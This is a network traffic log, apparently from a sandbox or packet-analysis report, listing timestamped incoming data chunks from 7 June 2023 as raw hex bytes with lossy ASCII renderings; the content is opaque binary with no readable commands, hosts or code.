%!n
2023-06-07 15:08:48 UTC	646	IN	Data Raw: cc a5 ee f7 d0 b0 e4 74 d4 06 d0 51 53 89 cc a4 c0 80 01 0f ba d8 2f f7 83 d4 27 98 bb ca a1 85 23 43 07 b0 3f 3d 1a a6 c4 22 f8 5a d1 ff 2b 6e 41 c8 8c 39 dc 20 2e 99 98 30 96 5f 54 a2 a0 16 22 73 05 0e 96 0c 4c 3a 86 04 03 6e 9b e4 c0 30 aa b0 4b 8c 02 2b 40 0b 03 3b 09 0d 68 0b a2 01 23 53 bb 27 41 18 14 b1 83 65 10 e1 2e b0 8d cf e9 10 c5 c4 c4 eb 22 56 84 33 04 fc 2b c9 20 1d 74 89 fa f4 e2 aa 91 f8 79 d9 78 24 8c 1e da 40 13 97 2e 39 b4 9b 2a 51 e7 a7 ea 63 40 d5 da 8a 67 07 32 36 c3 62 eb 1e c1 4e 2b 90 f8 12 83 78 83 78 60 20 68 fc 0a 57 74 09 57 c2 f8 01 7a c3 68 08 5b 3f 1e 0d 9c 31 46 cb 00 13 a1 1f 3b 15 18 b5 28 c5 11 c8 e1 12 1f 25 02 58 d2 00 e4 98 4a 02 d9 50 0e 78 a1 15 e5 65 15 89 b0 8f 58 99 82 24 ee 3b 3c 25 7d 4b f5 6c 9e 83 70 40 df Data Ascii: tQS/'#C?="Z+nA9 .0_T"sL:n0K+@;h#S'Ae."V3+ tyx$@.9*Qc@g26bN+xx` hWtWzh[?1F;(%XJPxeX$;<%}Klp@
2023-06-07 15:08:48 UTC	662	IN	Data Raw: 89 ac af 79 62 4c 6e 76 62 82 c8 d4 f7 64 67 50 2e 82 86 42 a9 40 d2 09 81 79 19 66 34 96 8f 74 72 ca ef 09 21 4b 43 39 1e 2c 7e 04 ef 50 51 4d ab 1c 4c d8 14 df 2a c1 c0 36 06 26 08 0b 27 72 85 bc d8 69 ff ff 0c 27 0b 4a 1a 09 e0 fa 92 ad c9 4b 52 0b 00 61 1c 19 f9 7c 21 42 b0 8c 98 70 da 89 4d 43 96 c9 8a b0 0e 0d bc 1d 5d 38 55 84 3b de 48 08 0c 10 11 68 21 6f 56 44 a0 21 4c 77 84 17 02 f5 6f 6d 83 38 05 75 7a 3b 5d 0c dd 05 f7 1c b0 1e 5f 73 b9 59 04 58 a6 a2 b9 80 06 08 e0 91 96 e5 21 e2 e0 a7 e0 41 09 26 00 2d 3c 0a c8 6f 5f 96 a5 f6 be f9 43 2e 64 50 2b 82 f4 49 60 b0 8b 01 92 71 25 1d 23 f4 a4 81 44 e5 02 36 0e a4 a1 01 07 d4 b6 35 f0 43 81 08 3c 04 cc c0 dc 07 4d 88 04 36 84 4e 0f 8c 20 88 2d ed 31 0c 78 d8 51 ac 78 9b 87 10 d1 0b 89 99 f3 0f f4 Data Ascii: ybLnvbdgP.B@yf4tr!KC9,~PQML*6&'ri'JKRa\|!BpMC]8U;Hh!oVD!Lwom8uz;]_sYX!A&-<o_C.dP+I`q%#D65C<M6N -1xQx
2023-06-07 15:08:48 UTC	678	IN	Data Raw: 99 8c f8 4b d6 2b df e9 d5 35 32 c8 85 4c a0 c0 a4 26 55 93 0c bc bc c0 44 b9 18 71 16 2c 3d 48 82 34 70 52 48 40 0e 64 46 84 db 3f 40 bc 20 94 49 46 a4 a0 99 40 be 16 f8 e2 ec ec 23 d0 90 03 30 5f 2d 97 5f 5e f7 e9 38 3c c8 1a 30 c2 51 65 32 20 33 c2 49 6b 98 98 5c 2e a4 32 9c 98 14 10 39 42 2a 93 18 10 10 99 e4 64 08 04 00 08 4f c9 11 52 00 00 e9 07 f9 2e a1 7a 53 65 1a de 94 53 58 09 59 63 42 42 26 5c 13 8b 0f 4a ae 12 b9 a2 19 75 28 0c 49 17 56 9a 62 21 0f 56 21 55 78 e4 b6 2c 15 d9 da 20 27 5a 0f 34 30 9c 92 11 ec 7d 92 06 8e c4 71 05 39 a7 64 0e a1 f4 29 59 3b 2b 15 02 21 5c 82 cf 86 6d 1c 52 c2 46 08 37 8d 0c 2d 98 0a 4f a6 f4 d2 a7 64 19 86 6b c5 34 65 29 57 42 e3 23 0b 45 0e 23 33 73 8d d1 37 88 51 a4 d1 b0 61 96 d1 80 96 56 0f 63 81 01 e0 0e 70 Data Ascii: K+52L&UDq,=H4pRH@dF?@ IF@#0_-_^8<0Qe2 3Ik\.29B*dOR.zSeSXYcBB&\Ju(IVb!V!Ux, 'Z40}q9d)Y;+!\mRF7-Odk4e)WB#E#3s7QaVcp
2023-06-07 15:08:48 UTC	694	IN	Data Raw: f3 83 cb 00 d7 10 15 f9 aa e2 bf 67 4b f8 a9 45 89 70 8b d1 2f 61 60 2b 68 54 87 6c f7 d3 ad 7a 83 10 18 58 23 d8 f7 d1 8c 89 5a 01 9a 82 4e 10 3a 82 06 23 1c d6 1d d8 6e 0a 3d 11 74 42 2e f3 d7 14 a0 26 6c d0 6d 17 ef c9 d5 eb 1d 96 5d 32 e4 04 2e 15 32 15 b0 73 2d de 81 e7 13 a9 c9 53 a4 90 2b 27 1b f8 83 5b 86 69 e0 6a 4b 34 57 0c 70 47 d3 30 9d a3 0d cb fa 5d 86 80 4f f8 a5 f1 ff 27 b1 66 80 f1 65 b4 82 0d 97 90 a3 05 de 48 21 05 fd bc 92 8d a2 f3 26 b8 d0 1c c6 48 01 69 39 05 12 b4 0c 33 09 ca 25 17 fb 1c 14 5b 20 51 20 4a 2e e4 32 61 30 30 94 5c c8 65 38 34 34 29 b9 90 cb 0f 24 24 f0 a0 a7 c1 e6 04 cb 28 28 69 77 c8 53 79 f2 d2 04 38 38 be 27 52 79 c8 c3 50 1a 50 aa 04 68 f6 4d c9 00 68 7c 5b 6c 51 c8 65 4a 2e 6c 53 70 f6 cb 94 5c 70 2a 74 3b 47 74 Data Ascii: gKEp/a`+hTlzX#ZN:#n=tB.&lm]2.2s-S+'[ijK4WpG0]O'feH!&Hi93%[ Q J.2a00\e844)$$((iwSy88'RyPPhMh\|[lQeJ.lSp\p*t;Gt
2023-06-07 15:08:48 UTC	710	IN	Data Raw: d1 5a 03 1b ca ce 6b 3c c0 02 aa 45 e3 b3 e5 e0 61 53 0d f1 2f 17 8d 48 60 6a e0 f1 69 10 a3 ac 65 40 99 18 62 74 6a 18 e3 f8 f8 e8 17 77 ae 04 a7 19 d9 3d 42 2f eb 17 c9 00 01 14 88 0c 00 09 b3 c7 0c 50 1a 51 9b eb 49 07 30 84 1c bf 1b a2 51 81 e8 c2 ff 78 e8 fa 60 1b 33 4f 16 8d e0 6c bf 31 9c 8d 0a 6e 07 8a 4a eb 26 0a 57 4a 40 2b 37 40 00 cc 14 29 64 03 17 18 78 a4 2d c9 be 3a 08 2d a3 f9 76 8b 4f 64 84 04 a0 04 b2 88 4a 3c da 80 a8 0b 76 dc 98 c0 10 bc 83 10 0b c1 1a ba 80 40 7f 84 11 b0 46 6f 26 4d 91 89 9b 41 2b 1f 52 ca 74 11 0f 2e d1 79 58 84 26 a5 73 3b 88 c0 75 98 5f 45 aa 33 f5 32 41 7a 4b 79 ec 93 18 bc 66 73 eb 48 32 1b 16 93 18 b4 58 75 2b 39 0c d2 e0 a9 14 af 28 c4 12 fa 43 d2 8d e8 7e 65 eb bd 45 51 6a 07 d6 26 54 b5 82 03 a3 42 61 e9 71 Data Ascii: Zk<EaS/H`jie@btjw=B/PQI0Qx`3Ol1nJ&WJ@+7@)dx-:-vOdJ<v@Fo&MA+Rt.yX&s;u_E32AzKyfsH2Xu+9(C~eEQj&TBaq
2023-06-07 15:08:48 UTC	726	IN	Data Raw: 02 89 c7 db 8d 2f d8 27 9c 01 bc ff 1d d8 bf b4 05 06 f5 11 fb 36 9f 0e cc 95 24 b1 9c d8 ab 4f 84 14 84 27 11 6f c2 60 b3 d9 6c 06 7d ac 7a d6 7c b9 7e ca 82 71 2f e2 de 01 af 02 04 03 e3 25 61 4d e5 42 f1 4c 0d 65 24 25 0c a4 11 00 6f 44 18 30 22 af 8d 1d a5 44 a1 33 0f 50 9a 00 6e b6 51 00 41 45 61 70 e7 c0 7a e1 54 08 62 0e 58 27 8b a6 70 0e cb 1c 91 b9 01 e5 28 d9 78 91 81 32 b5 4e 06 46 15 fc a8 25 37 af 18 32 36 03 75 31 dd 61 06 ea 5f f8 83 e0 60 71 5c 8d 77 18 81 84 f4 51 67 04 24 0c 41 2c 3f 20 60 cb 47 da 7a ea e8 fc 48 6a 90 93 79 0a 58 15 ad 1b b7 1b 97 18 a5 2a 8a 0b 52 96 41 0a 08 09 bf 62 09 a7 8a 9d 7d f0 9a 88 90 10 82 5e 2b c0 f4 b6 f1 bf 5c da a2 48 84 e0 20 35 03 35 19 98 47 12 d6 bf e0 00 db 27 03 e0 cc 40 b2 eb 13 06 b2 60 2c f5 0c Data Ascii: /'6$O'o`l}z\|~q/%aMBLe$%oD0"D3PnQAEapzTbX'p(x2NF%726u1a_`q\wQg$A,? `GzHjyX*RAb}^+\H 55G'@`,
2023-06-07 15:08:48 UTC	742	IN	Data Raw: bd 3f 74 7e 14 31 cc 96 65 f0 60 1d 41 a4 37 00 1c 44 41 56 45 c8 1d b9 03 8b b5 79 5d 9a 23 f2 12 df 04 7d 1c c8 c0 16 8c 7d ab 87 56 eb 23 4b ee e9 a4 75 23 95 20 5d da 0a 01 07 28 18 04 26 d2 9a d6 73 f0 2d d6 bd f8 5c c8 59 fa 3f f8 e3 56 48 c8 d6 0c 19 cf a3 e0 44 28 91 89 3b d0 47 02 89 25 2f d3 b4 a8 d3 dc 81 0b 22 a5 b4 db 69 eb ff 9e 93 81 01 2b 01 a5 50 d4 7d 61 32 1f 61 bd ee 51 10 a5 08 70 c1 e9 77 96 61 21 ef 5b 56 22 21 61 2b 2c 41 25 19 cd c3 84 ec b5 56 56 b8 1d e0 9a d6 13 ac 49 e7 89 4f 14 95 60 24 5c aa 10 85 e1 75 20 2d 33 b8 f9 90 20 2d 3b 81 b8 3a 12 a6 cb 0e 89 73 e3 0c 67 22 6c 87 80 cc 45 24 c7 41 34 ac c6 16 0f 4b df 89 f7 b1 db a6 85 24 69 53 2d 78 4d 09 c3 ca 8b 2b 2d 0c 04 cb 1b 94 16 b0 3e 5c 0e 06 23 18 50 4b 34 44 8d ae 8a Data Ascii: ?t~1e`A7DAVEy]#}}V#Ku# ](&s-\Y?VHD(;G%/"i+P}a2aQpwa![V"!a+,A%VVIO`$\u -3 -;:sg"lE$A4K$iS-xM+->\#PK4D
2023-06-07 15:08:48 UTC	758	IN	Data Raw: f1 00 7b 03 d9 a6 53 00 10 39 4d 9c 8d 1a de ea 49 0c eb 23 c3 16 25 9c 49 63 08 15 09 e9 63 23 84 27 00 e3 9b dc f1 28 a5 b3 3c aa 76 fc e3 31 a7 81 66 c9 e9 e7 00 b3 32 8a d4 d1 3b fd b5 54 1c c9 26 b7 1d 8c fc 48 e8 75 5f 65 04 01 12 fb 65 80 04 8d 71 67 78 6c 1b b3 44 6a ef ff 01 fa 11 75 f2 db 2c 15 3b f8 74 21 53 d3 81 cd 04 dc 63 23 31 ac 31 ee f2 72 ae 57 c1 06 6c 08 31 b1 2a a6 88 06 3e 45 53 89 22 56 d1 94 ce 59 98 02 49 27 ac db 1a 97 5d 56 cb 1f 54 39 f4 fd 1b 97 09 d9 89 5d 23 47 d2 34 75 ce 66 06 57 72 c9 24 a3 66 56 20 a4 72 c9 8b cb 56 8e a8 06 52 39 08 2d 03 78 11 92 03 cd b0 eb 45 12 29 04 36 20 36 25 02 00 03 d3 69 dc f4 fd b2 30 ad 08 08 81 f5 8a 9a 56 32 b4 ef 82 e9 d0 46 c3 e9 44 a6 60 9a 1c db ad 11 ab 34 2c 0f 06 69 2d 4d 3f 17 16 Data Ascii: {S9MI#%Icc#'(<v1f2;T&Hu_eeqgxlDju,;t!Sc#11rWl1*>ES"VYI']VT9]#G4ufWr$fV rVR9-xE)6 6%i0V2FD`4,i-M?
2023-06-07 15:08:48 UTC	774	IN	Data Raw: 28 5f 17 a6 cd 0c 02 71 a0 04 a4 44 aa 69 9a a8 ac b0 b4 a5 a6 0d 97 21 b8 04 bc c0 9a 40 fb 26 a9 04 cc b5 81 82 5e 13 03 35 c0 a4 16 04 a8 da 1a a0 86 ed 48 6c 33 61 5a 98 64 b8 2e 70 0a ea 76 17 1c 16 4d 17 5a 12 f8 00 34 02 2f b8 9c 9f df 68 e1 27 0b 52 07 7d 03 79 c0 22 0e ba 47 b7 4c e9 b1 4d 19 b8 3d 78 24 3d b7 c4 bc 0f 2f c4 07 c8 87 29 c2 c8 c0 02 48 a5 79 44 bc c8 cc d2 72 19 0f a7 cc 31 d6 a0 a5 79 a6 e4 ac a4 ac a0 d4 87 13 48 b0 a8 0f 79 b0 30 bc 1d c2 33 4c b4 e9 ad 01 ab 30 28 71 48 78 52 77 87 f3 30 1c 1b 43 15 2c 39 3c 90 72 2b 0d 1d ed da 96 ce c8 f3 ac 04 84 57 83 43 28 56 53 4a 02 6e 0d 7d 9e a4 1c a6 d4 83 dc 2a 40 42 a5 40 42 84 fa 58 59 86 3e a0 f9 0e d4 25 98 ee 83 c4 0f 21 15 12 f5 bd 97 ec d6 04 dd 10 74 64 50 3f 9b c2 2b c6 1c Data Ascii: (_qDi!@&^5Hl3aZd.pvMZ4/h'R}y"GLM=x$=/)HyDr1yHy03L0(qHxRw0C,9<r+WC(VSJn}*@B@BXY>%!tdP?+
2023-06-07 15:08:48 UTC	790	IN	Data Raw: 3a 92 3d 11 ef 78 b9 56 e0 23 86 99 41 d2 d3 f4 0b ec 85 53 05 69 cf a4 56 10 79 0e 83 fb b3 a4 16 45 21 1c b6 35 8f 16 46 35 fb 02 c6 5d d2 cb c2 eb 00 09 56 da 59 b9 a4 3b a6 a9 ac ac c1 fe 40 9e 49 0e 02 cc 06 b9 a4 41 51 06 ab 27 b0 b0 e1 e0 4c 52 14 03 bb e8 46 37 45 2f 83 b2 3d 1b 67 2a 29 d7 7f 98 90 17 64 c5 89 d2 07 f8 e3 41 80 41 75 fc 71 14 16 98 73 0c ee 4e 20 40 19 70 03 08 dd 85 9d 36 9c 5b 74 50 55 4e 5d eb 6d ea ee 80 d3 50 82 08 4a af 0c 68 b2 47 7c 5c 10 43 76 b8 bc 15 b7 e8 0a cf 41 e4 52 8d 83 6d e1 b3 21 6d 18 4c 1c 85 0d 5d 20 89 d8 2d 43 85 87 be 92 0b 86 02 8e fd d1 91 d4 0e 3e d8 48 6e 40 14 5e 14 43 01 66 c3 69 ed 52 2a 95 74 60 da 30 55 a0 93 61 2e ca 5c c7 53 d0 3d 4c 4f 53 78 79 12 17 53 20 38 5d 08 85 7b e4 33 27 10 27 80 00 Data Ascii: :=xV#ASiVyE!5F5]VY;@IAQ'LRF7E/=g)dAAuqsN @p6[tPUN]mPJhG\|\CvARm!mL] -C>Hn@^CfiRt`0Ua.\S=LOSxyS 8]{3''
2023-06-07 15:08:48 UTC	806	IN	Data Raw: 2e 65 a8 00 05 05 5c fa 24 20 3c e1 4e de d7 60 ca d6 42 01 46 e0 04 41 f8 21 c3 21 88 7d 3a 10 3a 6c 00 bb 8a 1a 00 e7 0a 37 1b f4 8d 8d 15 0b bb 9d e5 1a b8 06 a8 47 5f 9c 20 89 23 2c 10 75 83 35 16 30 18 ed 12 5d 6b 23 2d 7c 58 da aa eb 11 01 69 6d bf 0c 0d c1 0a 69 27 2c a6 08 9d ca 17 bd 97 a8 70 85 11 24 ab e1 b0 0a 6c 63 6d 83 b8 00 92 97 f0 56 8a d2 4d 4d d2 e2 be d2 51 89 36 46 d5 1b b6 9b 94 f5 40 0b c7 5f ac 27 d1 44 a2 99 e1 f2 ce 1c 2e 19 1d 45 f0 38 a6 25 03 0c 5b 2a 09 2f 0a de 5b e1 5b 18 d0 b7 98 3e 85 74 37 48 41 9b 53 82 0c 7e 30 65 41 0a e8 e5 57 f7 2f c9 08 82 0f c8 e8 45 9c 47 30 dc 01 48 9e 6c 42 ed ff 1c 9c 66 d3 f1 4c 54 fe e0 8d 88 c0 00 dc 6c 75 cf b0 b4 82 60 3d 06 9b 80 01 04 a7 a6 f0 6b f9 57 56 bc 52 3b 2b 30 d1 b0 c4 08 7d Data Ascii: .e\$ <N`BFA!!}::l7G_ #,u50]k#-\|Ximi',p$lcmVMMQ6F@_'D.E8%[*/[[>t7HAS~0eAW/EG0HlBfLTlu`=kWVR;+0}
2023-06-07 15:08:48 UTC	822	IN	Data Raw: 99 00 19 cb 83 8d e8 64 e4 e5 c0 c9 8e 68 8e 64 84 5e 20 9f 64 78 e8 89 55 ec b4 54 36 8c d7 4b b4 58 92 9d 87 1c e0 d1 b4 54 b4 54 d3 e0 14 01 51 f5 4d 6c 00 f0 f0 57 4b 61 b8 ff 86 3b 57 5e 20 b9 a9 9e b6 b2 b7 c9 64 c0 65 44 1a 30 dc 64 3c ed 69 34 3c 0c 38 2c 20 4f 0e 03 e5 b4 58 2a c2 21 37 2c 6a 93 89 cb 84 d1 3d c9 39 e4 e4 86 0d 36 74 2c 2d 24 1c 6c c4 e4 e4 14 0c 4a 5d c3 0e a5 48 c3 f3 8a ac 28 e3 00 a4 bd 6a 46 db 78 75 52 75 d0 49 68 a3 3a 35 52 37 4b 4b ca 19 cd ed c3 21 94 45 0f e1 60 9f 31 e4 e1 6f 53 98 c9 d5 e8 e3 85 63 03 8b 78 75 c6 52 2f 11 e9 1f 5e 80 25 66 10 c3 a9 80 58 84 9c cc 00 44 69 ba 54 05 8c d3 3c 9e d2 34 24 dc fe 08 14 08 60 70 88 b4 49 d1 dd 52 b9 25 08 ed 72 60 a1 ce 6b 52 d6 bf 04 b9 02 f9 c6 99 7a 5c eb 03 b9 03 c4 28 Data Ascii: dhd^ dxUT6KXTTQMlWKa;W^ deD0d<i4<8, OX*!7,j=96t,-$lJ]H(jFxuRuIh:5R7KK!E`1oScxuR/^%fXDiT<4$`pIR%r`kRz\(
2023-06-07 15:08:48 UTC	838	IN	Data Raw: e4 20 0f 79 00 79 00 1a d0 a9 01 6b 68 8f f3 97 6d e1 69 1b 4e 78 06 b4 03 83 00 2c 67 18 67 56 56 f6 db 6d ec 6d dc 6d e4 36 03 24 fd b4 10 1a 38 9c 5e c9 d1 8f 16 a1 07 55 08 31 61 d2 48 40 98 0a 08 14 74 53 b0 16 f9 8d 41 1f 4c e9 f0 75 f8 fe 55 03 b1 10 49 3c 46 56 49 ab 4c 41 82 33 43 00 52 01 35 6a 12 0b 4a 63 4b 63 a6 4c 0c 3f 03 eb 04 85 ba 1f 8d 20 a4 4b 4d ef 40 48 01 cb 18 ac 14 ac 3b 4c 51 06 29 60 48 4f 2d db 89 0f 5a d2 16 6f a7 b7 45 e3 05 04 66 18 5d fe 22 88 10 6a 48 1d 5d e3 48 49 49 50 27 8c 19 08 43 4b e2 63 91 68 b8 16 28 ac ba a2 8c 13 8c 4b 18 4b 96 13 e6 69 10 95 e4 34 65 47 82 06 62 8f 0f d0 8e fc 05 2a 20 fb 16 68 9f 01 57 82 24 05 28 e0 c0 4d 91 70 7c 1d b6 5e b8 69 84 18 e2 07 d2 64 23 20 9a 08 4a 04 30 16 11 08 1c 3c 1b 6d 64 Data Ascii: yykhmiNx,ggVVmmm6$8^U1aH@tSALuUI<FVILA3CR5jJcKcL? KM@H;LQ)`HO-ZoEf]"jH]HIIP'CKch(KKi4eGb* hW$(Mp\|^id# J0<md
2023-06-07 15:08:48 UTC	854	IN	Data Raw: 2d 92 57 3e 9a 28 ec 61 fe 18 9e fb 19 5b 0b 82 db 53 98 22 fc df 36 9c c1 ef b0 af c6 8d 0c 36 2b f8 3b f9 76 08 f2 fb 9e 4d 53 82 46 52 e7 08 58 be 84 21 5d 08 30 5c d2 0b c7 2a 5b b0 ab 24 08 f7 f1 16 38 4d a4 f5 ed c1 e2 08 64 c0 0b d1 2b d0 5a 8d a0 21 28 eb 14 72 42 31 10 0e 58 30 42 5f 3c 85 d2 fc 04 ae 00 de 1a 56 0f bd f2 4c 83 e6 fe e8 6e 40 ac d0 e2 8d fb 01 c8 d1 1b e8 38 f0 6c 25 33 e0 c2 40 a9 0b 51 4b b6 0e f4 3a 44 36 36 a6 4d e8 c8 81 76 67 11 f1 0f a4 fe bc c3 cb 88 77 a8 da 18 e7 10 0b f8 0e 06 34 26 d9 38 60 bb 73 c0 06 78 8a f8 a8 5a d0 5a 6d 5b df 5a ce 4e e3 04 e1 10 03 df 8b 02 d6 cd 9e 9c 0b 8a 06 f0 f7 c7 0b 04 a6 ff 7a 74 07 03 c8 83 d6 ff 3c 84 d2 cf 1b 49 4f 20 88 f0 9e 4b 4f 96 a5 57 bc c3 5a f7 e2 f3 ea d1 14 6c 3e 13 f2 a2 Data Ascii: -W>(a[S"66+;vMSFRX!]0\*[$8Md+Z!(rB1X0B_<VLn@8l%3@QK:D66Mvgw4&8`sxZZm[ZNzt<IO KOWZl>
2023-06-07 15:08:48 UTC	870	IN	Data Raw: 30 ac f5 a8 f8 bf cf 97 4c 50 19 09 57 7d 24 93 dc 3c 56 e4 8b 4e 43 4a 64 52 fe cb 89 7b 04 8b 46 90 61 31 2a 0a dd 2e 0a 8d db 0a 14 86 cb 46 18 e0 f1 00 f8 b9 5f 0e e8 26 28 98 ea c1 7c 12 ac 0a 20 43 11 e7 fb 51 01 af 8b 4f 02 d5 b2 09 34 e9 89 e3 6e 67 ac 7e 09 5a 3b c2 7f 1f 56 ca e4 4c 81 fc a6 8a 80 93 df 98 f6 68 6c 13 9f 73 eb 63 cd 75 a6 ea 90 a8 4a 7b f0 73 ac c7 06 ac 12 08 fe af 94 29 1e 09 4a 0a be 54 2d 03 04 13 e6 50 78 42 05 b1 ca 4e 3a 13 ca 90 90 31 64 dc 41 09 ce 72 0b d4 09 1d 60 68 fa 76 a9 17 18 ee 1f 27 66 aa 44 d7 eb 0c 1e 7e 10 1e 09 09 47 7a 83 0e 03 1f 73 bd 1b 98 92 e6 17 69 74 54 3e 8e b8 02 16 03 b5 60 b1 1d 1c 06 bf 18 41 c3 61 60 6c 02 45 c1 c2 b0 63 68 0d 8f c3 f6 c0 01 c4 97 d2 f7 c1 fe 78 31 52 90 f8 5c d9 0c 74 f4 d8 Data Ascii: 0LPW}$<VNCJdR{Fa1*.F_&(\| CQO4ng~Z;VLhlscuJ{s)JT-PxBN:1dAr`hv'fD~GzsitT>`Aa`lEchx1R\t
2023-06-07 15:08:48 UTC	886	IN	Data Raw: 87 2c 89 e8 12 42 b0 10 6d 6a d6 95 f1 49 b1 22 eb cf 93 92 8c 52 61 16 f1 24 a5 67 b7 bf 4b 16 be 48 02 59 5b c6 e1 f9 68 7e 11 79 c0 94 de 76 c5 c9 70 6f 60 df 18 57 1b 25 10 e9 76 d3 ba 06 b6 81 64 f3 e9 55 06 86 e0 25 09 ae 22 51 0a 82 14 c6 d3 56 4a 1a d4 40 7b 82 a0 f7 5a 90 af 80 72 05 f0 e1 ff 95 d7 b9 00 10 20 e7 2b c8 b8 e7 69 24 0e 1b 4e 70 b6 d0 48 46 7a f5 2a ce 05 19 9a 78 06 a1 80 15 00 d2 19 ed 75 18 3c 03 ed 17 df b0 c6 12 b4 ee d8 24 fe 08 36 d8 02 38 13 9e 56 3a 6e e1 09 69 bf 27 f1 27 f6 36 a5 21 b6 07 88 75 0a 5a a9 17 59 9f f9 69 28 04 a4 09 8d d6 1d cc 91 50 9a e9 34 fb 0c e0 c0 07 a5 2b 1f 73 87 7b 2f d2 3b 50 89 95 dc 16 16 5f 04 13 cf 66 c0 fa f4 8d f0 fb ff ff a5 19 61 9d be 77 23 b2 ad 07 30 ef 1c d6 95 8d d5 91 8c 57 a8 45 6a Data Ascii: ,BmjI"Ra$gKHY[h~yvpo`W%vdU%"QVJ@{Zr +i$NpHFz*xu<$68V:ni''6!uZYi(P4+s{/;P_faw#0WEj
2023-06-07 15:08:48 UTC	902	IN	Data Raw: 0c dc b7 82 41 c1 ce a0 2c 13 c5 60 07 42 c4 4a 36 c7 01 19 76 99 78 7d c1 0c 74 92 31 da 3b 7d bb d8 cc 20 c7 06 c0 98 8e 01 17 14 04 2f 08 f8 33 28 e9 2a bc c7 59 3b fb 89 78 01 45 7a df 64 07 13 4c c0 0d d3 4e b0 97 61 28 5a 6a 20 69 4b d9 bd 38 47 c2 e0 49 0c dc d6 00 0f 4e 84 6e 0f e8 3e 50 51 10 39 56 18 d2 75 05 42 74 18 f6 2d 03 3f e0 a6 c2 53 0c 7d 31 10 b8 2f d8 40 eb a3 de 1b 45 e2 53 08 f7 28 be 42 b1 0b 10 14 c5 58 09 1f 42 d8 81 e1 6c ac 54 52 c2 ee b6 0d 67 e2 86 45 26 99 86 c1 20 21 c0 9b 43 a0 90 ac 87 4e 9c df a9 41 28 e0 aa a6 7c 46 0c 53 ed 70 62 7b 27 53 3c 7d c7 ed 12 a8 4d 53 eb 6b 37 25 14 1a 50 4d 4c c8 1b 25 56 59 08 8b 03 cc 90 53 c0 ab cb b3 b9 f2 d3 4d 30 99 2a 68 ec 8b cb 2c 0e 9a 48 af 84 31 a8 0b d4 4e 7f 41 90 6b 80 52 d0 Data Ascii: A,`BJ6vx}t1;} /3(Y;xEzdLNa(Zj iK8GINn>PQ9VuBt-?S}1/@ES(BXBlTRgE& !CNA(\|FSpb{'S<}MSk7%PML%VYSM0h,H1NAkR
2023-06-07 15:08:48 UTC	918	IN	Data Raw: cc 16 84 2f a0 5a 4f a2 ac da 62 80 4f 03 c0 6f 9d 08 7d 27 05 10 84 70 1e 15 a8 fb 11 67 e6 14 b5 58 14 74 84 c1 0e a6 bb 8d 8a 61 01 1d 02 c9 6d ee 01 20 b2 2a 3f 51 72 6c 50 06 d4 99 06 a5 d7 61 c1 89 61 1b 53 00 d9 95 2e 57 5f 3b 34 4c 13 25 20 eb 79 a5 28 4b 21 1c 3b e0 81 a3 2d da 7d e8 5e e8 26 20 17 01 88 e1 1c 9c 56 c5 6c 06 61 28 c3 a5 df 72 14 8b 82 34 63 10 4b 3f a0 6c 57 8f 39 01 24 82 1b a4 64 ca 2a 1c 09 0c 30 2e 15 6c 8b 67 23 3c b3 41 0a 18 02 74 93 6d 75 08 fa 97 6c e7 19 06 f0 fd 35 2d c1 d3 fe bf 51 58 2b f2 95 b6 c4 e6 0a 54 2b b1 68 0a 84 71 80 d6 07 b7 6c 04 64 3b de 5e 0f 4f f3 4b 46 2e 78 b2 db 26 1f 82 05 95 91 13 0c 0e bb de 1a 99 ad 80 e9 0c 41 f2 eb b4 ed 16 57 54 46 6e ee 4d fc 48 d8 1e 98 d7 f1 0a 54 34 2b 70 ea 70 64 1e 03 Data Ascii: /ZObOo}'pgXtam ?QrlPaaS.W_;4L% y(K!;-}^& Vla(r4cK?lW9$d0.lg#<Atmul5-QX+T+hqld;^OKF.x&AWTFnMHT4+ppd
2023-06-07 15:08:48 UTC	934	IN	Data Raw: ee cc 03 42 41 06 dc 61 0a ab 4f e5 cc e0 8a 23 3e 66 dc b2 5d cc 45 e4 40 04 c3 49 1b 5f 0b 02 72 14 d0 34 e8 57 e0 af 2c 2c d8 4f 60 8d 42 1c 7f df b8 3d 1d 56 d0 52 50 90 52 42 8e 0d b2 9c 79 70 6d 0b 69 11 e4 00 40 a5 19 08 68 4d 13 50 9a 4e 3b d0 bd 4d 98 43 b2 80 28 77 a4 74 c3 68 98 2d 2c 13 f0 b5 ba 52 a9 30 e4 34 33 f6 82 4d 6b 1f 26 ef 78 b0 04 ac a8 45 4d 1e 35 a4 61 84 a8 8d 2c 12 1a 6d f0 d5 fa b0 14 25 40 4b 6f 10 ae 89 2d 9d 48 4b 5c d7 c0 a5 df 6e e0 0c ce 38 0f 4f 15 c4 6a f1 9d 76 3a c2 15 0c 0d e0 5f ca 40 85 03 34 31 f4 04 c2 2b 6f 5e d9 d2 32 d3 31 25 f4 25 49 59 c2 cd e0 5a ba 88 80 dd f0 02 61 cc 09 7b f9 24 6b d0 ad bf dd 11 17 11 fa 53 d9 80 ce 35 7d c8 d7 b7 80 0d 16 30 f7 00 8d 04 49 c4 9a 10 26 c4 80 f0 4b 87 46 8a 28 c8 2a 3e Data Ascii: BAaO#>f]E@I_r4W,,O`B=VRPRBypmi@hMPN;MC(wth-,R043Mk&xEM5a,m%@Ko-HK\n8Ojv:_@41+o^21%%IYZa{$kS5}0I&KF(*>
2023-06-07 15:08:48 UTC	950	IN	Data Raw: 8d b1 dd 27 d1 59 b9 1e 89 75 06 01 48 a1 a1 d4 10 00 d7 c9 d2 0c b0 1d 02 e0 8f 05 d3 8f 1c bf 5f 43 88 1e e9 41 3a 01 bd 91 16 1a 4a 4b d0 fc 23 09 52 5a 21 0b 8d 25 c2 58 68 07 0e 21 27 cf 15 1a 2e c4 03 ed 53 c0 c3 41 03 93 3d 52 54 81 78 00 0b d9 08 4a a5 d9 47 74 d7 89 12 18 24 24 0a a8 54 9a 24 20 20 20 a4 26 e9 20 31 1c 1c 92 7a 15 d1 95 5e 18 02 4c 21 26 d3 2a b9 8c 74 10 53 26 12 f2 82 00 3b 10 88 55 01 c1 20 dd 2e 4c 55 38 0a 6c 88 5e 24 bb 03 ba 14 14 7c 53 ab 0c 62 61 c4 c4 3c d5 ef 13 a6 4e 98 56 e2 a9 89 11 1e 47 39 8e 98 74 69 c2 08 98 04 d7 14 a0 8f 02 93 cb 86 3d 40 6c 91 bf c7 77 cc 54 6a b6 80 0d 2c 7a f0 3b 88 cf 32 fa 04 7b fe 11 be 58 39 20 42 01 b4 d0 a1 3b 9e 2b 01 b7 c3 f9 22 52 f8 7c 24 01 66 86 24 25 11 43 1e 08 2b 67 05 9a db Data Ascii: 'YuH_CA:JK#RZ!%Xh!'.SA=RTxJGt$$T$ & 1z^L!&*tS&;U .LU8l^$\|Sba<NVG9ti=@lwTj,z;2{X9 B;+"R\|$f$%C+g
